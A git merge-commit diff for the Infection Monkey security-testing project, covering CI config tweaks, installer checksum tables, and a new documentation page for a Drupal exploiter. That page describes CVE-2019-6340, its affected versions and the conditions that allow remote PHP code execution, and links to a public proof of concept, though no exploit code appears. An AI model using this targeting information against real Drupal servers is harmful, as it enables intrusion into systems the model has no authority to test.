Merge branch 'develop' into 764/swimm-tutorials

This commit is contained in:
Shay Nehmad 2020-09-02 18:25:29 +03:00
commit fe4da99a71
120 changed files with 1684 additions and 460 deletions

2
.gitignore vendored
View File

@ -91,7 +91,7 @@ profiler_logs/
# vim swap files
*.swp
# Server config might contain credentials. Don't commit by default.
# Server config might contain credentials
/monkey/monkey_island/cc/server_config.json
# Virtualenv

2
.gitmodules vendored
View File

@ -4,4 +4,4 @@
url = https://github.com/guardicore/cti
[submodule "docs/themes/learn"]
path = docs/themes/learn
url = https://github.com/ShayNehmad/hugo-theme-learn.git
url = https://github.com/guardicode/hugo-theme-learn.git

View File

@ -16,6 +16,10 @@ python:
os: linux
before_install:
# Init server_config.json to default
- cp monkey/monkey_island/cc/server_config.json.default monkey/monkey_island/cc/server_config.json
install:
# Python
- pip freeze
@ -50,7 +54,9 @@ install:
before_script:
# Set the server config to `testing`. This is required for for the UTs to pass.
- python monkey/monkey_island/cc/set_server_config.py testing
- pushd /home/travis/build/guardicore/monkey/monkey
- python monkey_island/cc/environment/set_server_config.py testing
- popd
script:
# Check Python code
@ -66,7 +72,7 @@ script:
## Display the linter issues
- cat flake8_warnings.txt
## Make sure that we haven't increased the amount of warnings.
- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=120
- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=80
- if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi
## Check import order
@ -83,7 +89,7 @@ script:
- cd monkey_island/cc/ui
- npm ci # See https://docs.npmjs.com/cli/ci.html
- eslint ./src --quiet # Test for errors
- JS_WARNINGS_AMOUNT_UPPER_LIMIT=28
- JS_WARNINGS_AMOUNT_UPPER_LIMIT=4
- eslint ./src --max-warnings $JS_WARNINGS_AMOUNT_UPPER_LIMIT # Test for max warnings
# Build documentation

View File

@ -0,0 +1,35 @@
---
title: "Drupal"
date: 2020-09-01T08:42:46+03:00
draft: false
tags: ["exploit", "linux", "windows"]
---
The Drupal exploiter exploits [CVE-2019-6340](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340)
on a vulnerable Drupal server.
### Description
Some field types do not properly sanitize data from non-form sources in certain versions
of Drupal server.
This can lead to arbitrary PHP code execution in some cases.
### Affected Versions
* Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10.
One of the following conditions must hold:
* The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH
or POST requests; OR
* The site has another web services module enabled, like JSON:API in
Drupal 8, or Services or RESTful Web Services in Drupal 7.
### Notes
* The Infection Monkey exploiter implementation is based on an open-source
[Python implementation](https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a)
of the exploit by @leonjza.
* For the full attack to work, more than one vulnerable URL is required.

View File

@ -20,3 +20,7 @@ Once you're done setting the Monkey up, check out our [Getting Started](../usage
{{% notice tip %}}
You can find information about [operating system compatibility and support here](../reference/operating_systems_support).
{{% /notice %}}
{{% notice tip %}}
You can find the binary checksums of our installers to verify their integrity [in this page](../usage/file-checksums).
{{% /notice %}}

View File

@ -20,7 +20,7 @@ Get-FileHash '.\Monkey Island v1.8.2_3536_windows.exe' | Format-List
# Should print
# Algorithm : SHA256
# Hash : 2BE528685D675C882604D98382ADB739F5BA0A7E234E3569B21F535173BD9569
# Path : C:\Users\shay.nehmad\Desktop\work\compiled monkeys\1.8.2\Monkey Island v1.8.2_3536_windows.exe
# Path : C:\Users\shay.nehmad\Desktop\work\compiled monkeys\1.8.2\Monkey Island v1.8.2_3536_windows.exe <-- Your path will be different
```
### On Linux
@ -28,51 +28,151 @@ Get-FileHash '.\Monkey Island v1.8.2_3536_windows.exe' | Format-List
Use the `sha256sum` <i class="fas fa-terminal"></i> shell command, like so:
```sh
sha256sum monkey-linux-64
$ sha256sum monkey-linux-64
# Should print:
# 734dd2580f3d483210daf54c063a0a972911bbe9afb6ebc6278f86cd6b05e7ab monkey-linux-64
```
## Latest version checksums
| Filename | Type | Version | SHA256 hash |
|-|-|-|-|
monkey-windows-64.exe | Windows Agent | 1.9.0 | `24622cb8dbabb0cf4b25ecd3c13800c72ec5b59b76895b737ece509640d4c068`
monkey-windows-32.exe | Windows Agent | 1.9.0 | `67f12171c3859a21fc8f54c5b2299790985453e9ac028bb80efc7328927be3d8`
monkey-linux-64 | Linux Agent | 1.9.0 | `aec6b14dc2bea694eb01b517cca70477deeb695f39d40b1d9e5ce02a8075c956`
monkey-linux-32 | Linux Agent | 1.9.0 | `4c24318026239530ed2437bfef1a01147bb1f3479696eb4eee6009326ce6b380`
infection_monkey_deb.tgz | Debian Package | 1.9.0 | `33c23ddae283e3aafe965d264bc88464b66db3dd6874fd7e5cbcd4e931b3bb25`
infection_monkey_debzt.tgz | Debian Package | 1.9.0 | `cc53fe9632f44248357d6bd20cf8629be9baf8688468fa6d3e186dcebf10cef6`
Monkey Island v1.9.0_3546_windows.exe | Windows Installer | 1.9.0 | `371f6d25e8cb16ea7ebdfd367092ee65b33db2ec35b44d96705716641eaa59e8`
Monkey Island v1.9.0_3546_windowszt.exe | Windows Installer | 1.9.0 | `662c611fb83bb8c7ef5f99c5d5ae04f5758727c688238d6a3cd4c58675581695`
infection_monkey_docker_docker_20200806_153913.tgz | Docker | 1.9.0 | `5da11c539045a395ced5dd572d331c4f0e9315a3ee192c06279ff4fef668b96e`
infection_monkey_docker_dockerzt_20200806_154742.tgz | Docker | 1.9.0 | `a84dbaad32ae42cc2d359ffbe062aec493a7253cf706a2d45f0d0b1c230f9348`
monkey-island-vmware.ova | OVA | 1.9.0 | `3861d46518e8a92e49992b26dbff9fe8e8a4ac5fd24d68e68b13e7fd3fa22247`
monkey-island-vmwarezt.ova | OVA | 1.9.0 | `03d356eb35e6515146f5bd798bb62cb15c56fcdf83a5281cf6cdc9b901586026`
| Filename | Type | Version | SHA256 |
|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------|
| monkey-windows-64.exe | Windows Agent | 1.9.0 | `24622cb8dbabb0cf4b25ecd3c13800c72ec5b59b76895b737ece509640d4c068` |
| monkey-windows-32.exe | Windows Agent | 1.9.0 | `67f12171c3859a21fc8f54c5b2299790985453e9ac028bb80efc7328927be3d8` |
| monkey-linux-64 | Linux Agent | 1.9.0 | `aec6b14dc2bea694eb01b517cca70477deeb695f39d40b1d9e5ce02a8075c956` |
| monkey-linux-32 | Linux Agent | 1.9.0 | `4c24318026239530ed2437bfef1a01147bb1f3479696eb4eee6009326ce6b380` |
| infection_monkey_deb.tgz | Debian Package | 1.9.0 | `33c23ddae283e3aafe965d264bc88464b66db3dd6874fd7e5cbcd4e931b3bb25` |
| infection_monkey_debzt.tgz | Debian Package | 1.9.0 | `cc53fe9632f44248357d6bd20cf8629be9baf8688468fa6d3e186dcebf10cef6` |
| Monkey Island v1.9.0_3546_windows.exe | Windows Installer | 1.9.0 | `371f6d25e8cb16ea7ebdfd367092ee65b33db2ec35b44d96705716641eaa59e8` |
| Monkey Island v1.9.0_3546_windowszt.exe | Windows Installer | 1.9.0 | `662c611fb83bb8c7ef5f99c5d5ae04f5758727c688238d6a3cd4c58675581695` |
| infection_monkey_docker_docker_20200806_153913.tgz | Docker | 1.9.0 | `5da11c539045a395ced5dd572d331c4f0e9315a3ee192c06279ff4fef668b96e` |
| infection_monkey_docker_dockerzt_20200806_154742.tgz | Docker | 1.9.0 | `a84dbaad32ae42cc2d359ffbe062aec493a7253cf706a2d45f0d0b1c230f9348` |
| monkey-island-vmware.ova | OVA | 1.9.0 | `3861d46518e8a92e49992b26dbff9fe8e8a4ac5fd24d68e68b13e7fd3fa22247` |
| monkey-island-vmwarezt.ova | OVA | 1.9.0 | `03d356eb35e6515146f5bd798bb62cb15c56fcdf83a5281cf6cdc9b901586026` |
## Older checksums
| Filename | Type | Version | SHA256 hash |
|-|-|-|-|
monkey-windows-64.exe | Windows Agent | 1.8.2 | `2e6a1cb5523d87ddfd48f75b10114617343fbac8125fa950ba7f00289b38b550`
monkey-windows-32.exe | Windows Agent | 1.8.2 | `86a7d7065e73b795e38f2033be0c53f3ac808cc67478aed794a7a6c89123979f`
monkey-linux-64 | Linux Agent | 1.8.2 | `4dce4a115d41b43adffc11672fae2164265f8902267f1355d02bebb802bd45c5`
monkey-linux-32 | Linux Agent | 1.8.2 | `39d3fe1c7b33482a8cb9288d323dde17b539825ab2d736be66a9582764185478`
infection_monkey_deb.tgz | Debian Package | 1.8.2 | `2a6b4b9b846566724ff985c6cc8283222b981b3495dd5a8920b6bc3f34d556e2`
Monkey Island v1.8.2_3536_windows.exe | Windows Installer | 1.8.2 | `2be528685d675c882604d98382adb739f5ba0a7e234e3569b21f535173bd9569`
Monkey Island v1.8.2_3536_windowszt.exe | Windows Installer | 1.8.2 | `f282ce4dd50abe54671948fb5b3baf913087459444e451660971290a72fe244a`
infection_monkey_docker_docker_20200607_172156.tgz | Docker | 1.8.2 | `0e4bc731ef7e8bf19b759709672375890136c008526be454850d334d9ba5012d`
infection_monkey_docker_dockerzt_20200607_172521.tgz | Docker | 1.8.2 | `0f4b0cd6fd54dc14ea50c5d2fb3fc711e9863518bd5bffd04e08a0f17eb99e75`
monkey-windows-64.exe | Windows Agent | 1.8.0 | `f0bc144ba4ff46094225adaf70d3e92e9aaddb13b59e4e47aa3c2b26fd7d9ad7`
monkey-windows-32.exe | Windows Agent | 1.8.0 | `1ddb093f9088a4d4c0af289ff568bbe7a0d057e725e6447055d4fe6c5f4e2c08`
monkey-linux-64 | Linux Agent | 1.8.0 | `d41314e5df72d5a470974522935c0b03dcb1c1e6b094d4ab700b04d5fec59ae6`
monkey-linux-32 | Linux Agent | 1.8.0 | `217cc2b9481f6454fa0a13adf12d9b29ce4e1e6a319971c8db9b446952ce3fb2`
infection_monkey_deb.tgz | Debian Package | 1.8.0 | `9c5254583ce786768ea55df8063152bd19e0f21a83e6f4f873c5dccc5a1c9d5e`
infection_monkey_debzt.tgz | Debian Package | 1.8.0 | `90A0824EC98680944B15B86CF5CFA09D48EDA406300C4CAE54432DB05F486D07`
Monkey Island v1.8.0_3513_windows.exe | Windows Installer | 1.8.0 | `ce9a9d0539c14ebe2a10cf3b36991b309abd7b62dd7fb7522a549d8987b0f0f4`
Monkey Island v1.8.0_3514_windowszt.exe | Windows Installer | 1.8.0 | `0b535a802ac43455d702b45673859b940c1feb7702b46a6a2cbc699672b0c89d`
infection_monkey_docker_docker_20200330_201419.tgz | Docker | 1.8.0 | `4f15a5008e43d8c5184456771dd9e8d70104b4ec79e34b53d230662604a7d190`
infection_monkey_docker_dockerzt_20200401_174529.tgz | Docker | 1.8.0 | `d94404134d879f3d859c77454df4abd0dbca00b8cae4b1c52d3b38e847f34e4c`
monkey-island-vmware.ova | OVA | 1.8.0 | `6BC4E85A0EA81045BD88E2D5A9F98F0DD40DE99E94D1E343D13FA418045A6915`
monkey-island-vmwarezt.ova | OVA | 1.8.0 | `79A043D85521F94024F8B0428A7A33B4D3F5B13F9D2B83F72C73C8D0BB12ED91`
| Filename | Type | Version | SHA256 |
|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------|
| monkey-windows-64.exe | Windows Agent | 1.8.2 | `2e6a1cb5523d87ddfd48f75b10114617343fbac8125fa950ba7f00289b38b550` |
| monkey-windows-32.exe | Windows Agent | 1.8.2 | `86a7d7065e73b795e38f2033be0c53f3ac808cc67478aed794a7a6c89123979f` |
| monkey-linux-64 | Linux Agent | 1.8.2 | `4dce4a115d41b43adffc11672fae2164265f8902267f1355d02bebb802bd45c5` |
| monkey-linux-32 | Linux Agent | 1.8.2 | `39d3fe1c7b33482a8cb9288d323dde17b539825ab2d736be66a9582764185478` |
| infection_monkey_deb.tgz | Debian Package | 1.8.2 | `2a6b4b9b846566724ff985c6cc8283222b981b3495dd5a8920b6bc3f34d556e2` |
| Monkey Island v1.8.2_3536_windows.exe | Windows Installer | 1.8.2 | `2be528685d675c882604d98382adb739f5ba0a7e234e3569b21f535173bd9569` |
| Monkey Island v1.8.2_3536_windowszt.exe | Windows Installer | 1.8.2 | `f282ce4dd50abe54671948fb5b3baf913087459444e451660971290a72fe244a` |
| infection_monkey_docker_docker_20200607_172156.tgz | Docker | 1.8.2 | `0e4bc731ef7e8bf19b759709672375890136c008526be454850d334d9ba5012d` |
| infection_monkey_docker_dockerzt_20200607_172521.tgz | Docker | 1.8.2 | `0f4b0cd6fd54dc14ea50c5d2fb3fc711e9863518bd5bffd04e08a0f17eb99e75` |
| monkey-windows-64.exe | Windows Agent | 1.8.0 | `f0bc144ba4ff46094225adaf70d3e92e9aaddb13b59e4e47aa3c2b26fd7d9ad7` |
| monkey-windows-32.exe | Windows Agent | 1.8.0 | `1ddb093f9088a4d4c0af289ff568bbe7a0d057e725e6447055d4fe6c5f4e2c08` |
| monkey-linux-64 | Linux Agent | 1.8.0 | `d41314e5df72d5a470974522935c0b03dcb1c1e6b094d4ab700b04d5fec59ae6` |
| monkey-linux-32 | Linux Agent | 1.8.0 | `217cc2b9481f6454fa0a13adf12d9b29ce4e1e6a319971c8db9b446952ce3fb2` |
| infection_monkey_deb.tgz | Debian Package | 1.8.0 | `9c5254583ce786768ea55df8063152bd19e0f21a83e6f4f873c5dccc5a1c9d5e` |
| infection_monkey_debzt.tgz | Debian Package | 1.8.0 | `90A0824EC98680944B15B86CF5CFA09D48EDA406300C4CAE54432DB05F486D07` |
| Monkey Island v1.8.0_3513_windows.exe | Windows Installer | 1.8.0 | `ce9a9d0539c14ebe2a10cf3b36991b309abd7b62dd7fb7522a549d8987b0f0f4` |
| Monkey Island v1.8.0_3514_windowszt.exe | Windows Installer | 1.8.0 | `0b535a802ac43455d702b45673859b940c1feb7702b46a6a2cbc699672b0c89d` |
| infection_monkey_docker_docker_20200330_201419.tgz | Docker | 1.8.0 | `4f15a5008e43d8c5184456771dd9e8d70104b4ec79e34b53d230662604a7d190` |
| infection_monkey_docker_dockerzt_20200401_174529.tgz | Docker | 1.8.0 | `d94404134d879f3d859c77454df4abd0dbca00b8cae4b1c52d3b38e847f34e4c` |
| monkey-island-vmware.ova | OVA | 1.8.0 | `6BC4E85A0EA81045BD88E2D5A9F98F0DD40DE99E94D1E343D13FA418045A6915` |
| monkey-island-vmwarezt.ova | OVA | 1.8.0 | `79A043D85521F94024F8B0428A7A33B4D3F5B13F9D2B83F72C73C8D0BB12ED91` |
| monkey-linux-64 | Debian Package | 1.8.0 | `b0de3931f6b9c2d986860151e5094e4c57aafa5e3e4aced828ecba36e4ece851` |
| infection_monkey_docker_docker_20200330_201419.tgz | Docker | 1.8.0 | `4f15a5008e43d8c5184456771dd9e8d70104b4ec79e34b53d230662604a7d190` |
| Monkey Island v1.8.0_3513_windows.exe | Windows Installer | 1.8.0 | `ce9a9d0539c14ebe2a10cf3b36991b309abd7b62dd7fb7522a549d8987b0f0f4` |
| monkey-windows-64.exe | Windows Agent | 1.8.0 | `f0bc144ba4ff46094225adaf70d3e92e9aaddb13b59e4e47aa3c2b26fd7d9ad7` |
| monkey-linux-64 | Linux Agent | 1.8.0 | `d41314e5df72d5a470974522935c0b03dcb1c1e6b094d4ab700b04d5fec59ae6` |
| monkey-windows-32.exe | Windows Agent | 1.8.0 | `1ddb093f9088a4d4c0af289ff568bbe7a0d057e725e6447055d4fe6c5f4e2c08` |
| monkey-linux-32 | Linux Agent | 1.8.0 | `217cc2b9481f6454fa0a13adf12d9b29ce4e1e6a319971c8db9b446952ce3fb2` |
| infection_monkey_deb.tgz | Debian Package | 1.8.0 | `9c5254583ce786768ea55df8063152bd19e0f21a83e6f4f873c5dccc5a1c9d5e` |
| infection_monkey_debzt.tgz | Debian Package | 1.8.0 | `90A0824EC98680944B15B86CF5CFA09D48EDA406300C4CAE54432DB05F486D07` |
| infection_monkey_docker_docker_20200401_174048.tgz | Docker | 1.8.0 | `ae59b222a94e1ec83a1c36917bc5cd3d119057e146ac01242af91808f3dce37a` |
| infection_monkey_docker_dockerzt_20200401_174529.tgz | Docker | 1.8.0 | `d94404134d879f3d859c77454df4abd0dbca00b8cae4b1c52d3b38e847f34e4c` |
| Monkey Island v1.8.0_3514_windows.exe | Windows Installer | 1.8.0 | `a56bd98ca3d0dd260f26ac5ee46022fd5ca3f9081a43535b4f57cef43c345dc0` |
| Monkey Island v1.8.0_3514_windowszt.exe | Windows Installer | 1.8.0 | `0b535a802ac43455d702b45673859b940c1feb7702b46a6a2cbc699672b0c89d` |
| Monkey Island v1.8.0_3516_windows.exe | Windows Installer | 1.8.0 | `a31a3837d8ca722e8db10148704237b032e5ef62acc080a82ab80f009d8de6bd` |
| Monkey Island v1.8.0_3517_windows.exe | Windows Installer | 1.8.0 | `450e9ea58a5282f506f819bdc3d4477bbc917d74ee837ca0cc3e62b4a923fef1` |
| Monkey Island v1.8.0_3519_windows.exe | Windows Installer | 1.8.0 | `dfaf7b11b148a5648ca92887d731633f85b68dc82313616f0009eee123c47352` |
| Monkey Island v1.8.0_3520_windows.exe | Windows Installer | 1.8.0 | `719427a7f1878555d6940485330f51e2ddb3331c96b60a1719f6e21987efb3d3` |
| Monkey Island v1.8.0_3521_windows.exe | Windows Installer | 1.8.0 | `a9a37ec2677fc7d224c5993f914ba402c9f86c2f909dc5d649f67d08802dc847` |
| Monkey Island v1.8.0_3522_windows.exe | Windows Installer | 1.8.0 | `4aaa5a99a108ab3cb14b9268a32ac68cb2de4a001ae0e4374ca779824981ea64` |
| Monkey Island v1.8.0_3523_windows.exe | Windows Installer | 1.8.0 | `4f029d2683cf68e63f8b426fa19df9561add0ed169821b4fc83c2721f0939520` |
| Monkey Island v1.8.0_3525_windows.exe | Windows Installer | 1.8.0 | `4a660cf5eda5beae844e5a62031972304eaa0432c32708f11d94dc0a501be182` |
| Monkey Island v1.8.0_3525_windowszt.exe | Windows Installer | 1.8.0 | `980ba04ef9f6395e2885851f906ee3ed57d696a2e984aa1e7a59446a57ce0408` |
| infection_monkey_docker_docker_20200419_160310.tgz | Docker | 1.8.0 | `999edc833484f51475db5a56e0557b59d09f520453b8077c60f7d9359b504299` |
| infection_monkey_docker_dockerzt_20200419_160542.tgz | Docker | 1.8.0 | `87ec632837d4add968831ee7fd271871f89e5b29e251d046ebf100bc94bb755e` |
| Monkey Island v1.8.0_3526_windows.exe | Windows Installer | 1.8.0 | `6b6c05f3575eef9b95c1624f74953e54654211de4ae1ad738b287e661f002989` |
| Monkey Island v1.8.0_3526_windowszt.exe | Windows Installer | 1.8.0 | `f181e58820817d76274fab3ee2a7824fc0d5b1f637d7f5c7fe111eb7061844f2` |
| Monkey Island v1.8.0_3527_windows.exe | Windows Installer | 1.8.0 | `94c2e09ca103bc22206715783616af91e58fe773a04c975d6a09d48d9a5759b2` |
| infection_monkey_docker_docker_20200420_151527.tgz | Docker | 1.8.0 | `fe4512fd46c3be6c9416287e3a703e8453a46a17b05404ba72035036946f6dbd` |
| infection_monkey_docker_docker_20200420_153306.tgz | Docker | 1.8.0 | `17ef5de58a49168a70085cb80063355ac489139c88d029d175a09e36524fe224` |
| infection_monkey_docker_docker_20200420_174533.tgz | Docker | 1.8.0 | `fcf57ab8b1b77bcf678765c90798b950fd4a62019c48ebeeac37e9d3011b6b2e` |
| infection_monkey_docker_docker_20200427_184208.tgz | Docker | 1.8.0 | `082165abd8c45d9731472ae0877fecedfbcefcff8c0003b43d4300854908f0cb` |
| infection_monkey_docker_dockerzt_20200427_184441.tgz | Docker | 1.8.0 | `74f824ecb14f5d47182156999d5aeaf2177d719c6f53ed81b68606b2ed931647` |
| Monkey Island v1.8.0_3528_windows.exe | Windows Installer | 1.8.0 | `baa13321c88223acd0262137ba018f9cbea869b5d1920565a5e6c8eb2c83b80e` |
| Monkey Island v1.8.0_3528_windowszt.exe | Windows Installer | 1.8.0 | `466f7c3aa052163f10e154ec787b31a98b54ced8cffc17373525e8ca39ec2556` |
| monkey-island-vmware.ova | OVA | 1.8.0 | `6BC4E85A0EA81045BD88E2D5A9F98F0DD40DE99E94D1E343D13FA418045A6915` |
| monkey-island-vmwarezt.ova | OVA | 1.8.0 | `79A043D85521F94024F8B0428A7A33B4D3F5B13F9D2B83F72C73C8D0BB12ED91` |
| monkey_island_vmware.deb | VMWare Debian | 1.7.0 | `8F77347343B1D070C4BCC43A6CF5971F086665206F76AD1304359ADB388C55DE` |
| dk.monkeyisland.latest.tar | Docker | 1.7.0 | `E92CD45DB172342FE906FEFA7F26BACB2F59C2BE8484756B71CD1BDEBCCA8BFB` |
| monkey-windows-32.exe | Agent | 1.7.0 | `00E121EC8AA3519498D225066A3BC29984A7DA2A6F4F0641ED465FD64107A117` |
| Monkey Island v1.7.0.3478.exe | Windows Installer | 1.7.0 | `AFC969884939DBE37DA6B8AD4999CA6E9F18E54BA03AC0C04C59ABB6D6204634` |
| monkey_island.deb | Debian | 1.7.0 | `4AE051BC47B39FA05937994B3D24226771D03891AB2EA484FD7B4AADC0C5E220` |
| monkey-windows-64.exe | Agent | 1.7.0 | `BCF60E0C4BC2578361CCACDA0C183B726AF375F0142306CA9013A14BBA9B962C` |
| monkey-linux-64 | Agent | 1.7.0 | `333529B3061473BF5EE713FA7E3DF4B05DD01823840BB92E1E715488A749B9EA` |
| monkey-linux-32 | Agent | 1.7.0 | `EF7A72FFDDF3A54C74F458201A45B51B779A68C460A309B0D5FD247264D7137D` |
| Monkey Island 1.7.0 OVA 20191013.ova | OVA | 1.7.0 | `EB1D568F1EA9236B3402A65484EE1F06350FF5C4097288F3FE3312474ECB48C7` |
| dk.monkeyisland.latest.zt.tar | Docker | 1.7.0 | `C998FD7CC73F394CD39450E49586397F721D8B7F2DFA4CFE30EC797864588C72` |
| Monkey Island v1.7.0 zt.exe | Windows Installer | 1.7.0 | `5C6DADDD3BCF0766DB515DC911DC80D7D11DFF8A72BCBBBE21DEB3C9F78B6889` |
| monkey_island_zt.deb | Debian | 1.7.0 | `A0515FBCFD9590CEA739E1AFA95CE7FC406C5E4206A67A50C8CD2423540818C8` |
| monkey_island_vmware_zt.deb | VMWare Debian | 1.7.0 | `80EDB3FB846251C7B80B72259837629F17A4166C34FE440451BDD7ED8CC43F7F` |
| Monkey Island 1.7.0 ZT OVA 20191013.ova | OVA | 1.7.0 | `D220E171CF38DCD434AB4473C72CE29873A495B16FFAA8CA55658F5606398E34` |
| infection_monkey_deb_vmware.20190519_125330.tgz | VMWare | 1.6.3 | `22e51f089e6537e2cb349b07b4bf22c7a63c68ae12776a7b5239a0238bf02a05` |
| infection_monkey_deb_gcp.20190519_125239.tgz | GCP | 1.6.3 | `b8fdb976af8130329265bd3ad36b553864f6f7a2a2df912cfea4215584774686` |
| infection_monkey_docker.20190519_125632.tgz | Docker | 1.6.3 | `5576e20fe8ee502a7b452b504789961aedae214e49061a58ca0f248cc72c1c78` |
| monkey-windows-32.exe | Agent | 1.6.3 | `6f68d436a2a85852b02e4d72d4202919753a78e5285c36bd1a5481c8711b1d6b` |
| Monkey Island v1.6.3.3468.exe | Windows Installer | 1.6.3 | `69cb63612855165db97eb3c253e5a6f627fe216e0610eca5e5e6f875281a3604` |
| infection_monkey_deb.20190519_124555.tgz | Debian | 1.6.3 | `2389b553bd569defa4b81053984f0743b1b4093cdcfcf8561243b9d882d55e83` |
| monkey-windows-64.exe | Agent | 1.6.3 | `502c749ede6e09b8c40bc4bbfd2a46c95d3626a1aef74c72ac7b5641595e8c9c` |
| monkey-linux-64 | Agent | 1.6.3 | `6cfec4aea2f993294ca32f816a85347be8b155fb9c39706c82866bce8d8f87c1` |
| monkey-linux-32 | Agent | 1.6.3 | `996b3883e9b1114b274bf25426ee13060b65f8deb08c96b57857b99d8e8e3277` |
| Infection Monkey 1.6.3.ova | OVA | 1.6.3 | `a5b6e7d547ad4ae79508301698d99cbaf3b3ebfb1d2f0274ae1151d803def1e4` |
| infection_monkey_deb_azure.20190519_125317.tgz | Azure | 1.6.3 | `fcf1b6bf805f4422deb90f25752573f796d5a73e148086f49db310208b02c829` |
| infection_monkey_deb_aws.20190519_130517.tgz | AWS | 1.6.3 | `9c232f5d2f9dc24c9faea3cf597af783798baedb61334e0e650ca79bdac29fec` |
| Infection Monkey 1.6.2.ova | OVA | 1.6.2 | `00346E6383E7BBDB107C14B668D251513E150C089A26AAFA3E17040D96C7DEC9` |
| infection_monkey_deb.1.6.2.tgz | Debian | 1.6.2 | `56BF1D99DD6674F9D3504D5DD5A62D8B3520B4F25449ED0026E5A0DC99BD0683` |
| infection_monkey_1.5_docker.tgz | Docker | 1.6.2 | `2466B4FFFE175EC5DEF0CAACF93EE5CC7D8878DBA63B30F148C560A6AFA5B537` |
| Monkey Island v1.6.2.3434.exe | Windows Installer | 1.6.2 | `2B0BFD5721897787536F4F94D5641E061833CBEF0279C0E38C41BC1B3E76A380` |
| Monkey-Linux-32 | Agent | 1.6.1 | `9E5F8FA7F85FEB1BC31E0AE7D1F303139CA3FE5FA044E6C58F68B4917D27CACE` |
| Monkey-Linux-64 | Agent | 1.6.1 | `74F9FFBB504FF5E74EFF1399685C0C110EDE0D3244F61591D77EE7A22672457E` |
| Monkey-Windows-32.exe | Agent | 1.6.1 | `53AC0F047CA95A0476944559F6FC650ADA865891139FA1258B35A5A525BC6002` |
| Monkey-Windows-64.exe | Agent | 1.6.1 | `53019FD25CD4A0AE526696EB05E2EEDE32607263C5F29BE36554D637532D41C3` |
| infection_monkey_1.5.2.ova | OVA | 1.5.2 | `6E6CAABBA7CCDB20E981147560353EC731B1FC8955D0319886D36E9825C201C7` |
| infection_monkey_1.5_deb.tgz | Debian | 1.5.2 | `E84EFA3C20A417D13DC6EA64CB046D40ED7534A6FBB91EBF6EA061716A855A17` |
| infection_monkey_1.5_docker.tgz | Docker | 1.5.2 | `0D33C17556FAC28874A2FE9157DB311892B42669E51C043C4DAE2F68B0D74B8F` |
| Monkey-Linux-32 | Agent | 1.5.2 | `4DF689A845FD7092E81ECB0AB5207621836B3D46B71FB3829E5E5CF9DDAF52D0` |
| Monkey-Linux-64 | Agent | 1.5.2 | `99FC4BB24D2EFF1CD107CCE932EA0BDC006ED2226AE0DC19DD0BC7A97ADB553F` |
| Monkey-Windows-32.exe | Agent | 1.5.2 | `8FC1441B87BDFD786A3A262542C013E4C84AC870C847A919CDA0851F91A511B9` |
| Monkey-Windows-64.exe | Agent | 1.5.2 | `0AE8F0AB190E8BEAE78AB12C8477C924FE92B19B1E079B279F4F87AE4BD2A718` |
| infection_monkey_deb.20180402_184213.tgz | Debian | 1.5.1 | `4425FC97DE825715837783258FD8BCF88E87AAB3500F63D287384B9D74D54122` |
| Monkey Island v1.5.1.3377.exe | Windows Installer | 1.5.1 | `5A137ADA97F39F4C3CA278E851D2684B929911639E2876EB4DF1D1AC5D70E27D` |
| infection_monkey_docker.20180402_184212.tgz | Docker | 1.5.1 | `049831C3F9C959128C5C8D9843819A4ED960FF046B1536216B5FA5FF4B28D1A6` |
| Monkey-Linux-32 | Agent | 1.6 | `665E1263347B9D0245211676496E91669809B3865ED8B5AD1878DA54A9784F5C` |
| Monkey-Linux-64 | Agent | 1.6 | `F0D51E7431CF07A842D4D25AAE2DD8A6B9EE08744914729AF448F92088798F7F` |
| Monkey-Windows-32.exe | Agent | 1.6 | `77AC4264715A6E7D238F8B67ED04EE75CF75C07D360A4B649CA6E31C83CE7B21` |
| Monkey-Windows-64.exe | Agent | 1.6 | `0DEED0AA00F7D54B084EF6888731B0CFEC6382045A74B55162FDD3D00D0BE9F8` |
| Monkey Island v1.6.0.3414.exe | Windows installer | 1.6 | `242879983A709D7CD6D7D7EEC493442B7FACC8E215CBB21650915C5EECB8829A` |
| infection_monkey_1.6.ova | OVA | 1.6 | `831FBA09AA49940B1747164BEB6B4AF83BA04FCE35285912AB0B18A7FA1A39D8` |
| infection_monkey_deb.1.6.tgz | Debian | 1.6 | `339EC88DD6A2AB6CB917456AA8970B0F1D36D7335E7D2EE1A34B74047F843542` |
| infection_monkey_docker.1.6.tgz | Docker | 1.6 | `0624CF75C4D208DDC7475636CFE2869BA324DEB88C3860DB2934E7BDA3E664F6` |
| infection_monkey.ova | OVA | 1.5 | `A6773C4DA8FF7A09C0F3FEE45A25D45830C616AACCEC14C86542462ADCDA1F89` |
| infection_monkey_deb.20180208_175917.tgz | Debian | 1.5 | `04E3CD3CD301A44BEE508C1BF993948B89212EF3269D61FB13ECB9FDC25268DB` |
| infection_monkey_docker.20180119_112852.tgz | Docker | 1.5 | `4D94C6BB7B4A0177CC1F3E864FB714015619ACB4DD1C4E92D8986BA093F8BD87` |
| Monkey Island v1.5.0.exe | Windows installer | 1.5 | `A1D7725AF116AE33CEA9A0E641E61C96E51FAFCCCB598F668EB99E35DE799C7B` |
| infection_monkey_1.5_deb.tgz | Debian | 1.5 | `1433B8A5E778F12C9E8AE4B1BCBF2863E0CC5E001D661C8540804B909B9D83C5` |
| infection_monkey_1.5_docker.tgz | Docker | 1.5 | `22B7FDC4C213F0385AEB9F63E60665470C2862C8C1B45B5B49FBF320570A9082` |
| Monkey Island v1.5.0.3371.exe | Windows Installer | 1.5 | `B69997E9920E73F16896D3E793AB721388E5636DB1846D4BFEC1C7A372EE2059` |
| infection_monkey_1.5_deb.tgz | Debian | 1.5 | `00EB499FCC590950723E42784D3502B70EAD8AD396B916AF450AB1A48DF993ED` |
| infection_monkey_1.5_docker.tgz | Docker | 1.5 | `A8670280A07EF6A9F5DC9CEB4B11B25DD7B90C37AD94666A6FFAABD6D105F0CB` |
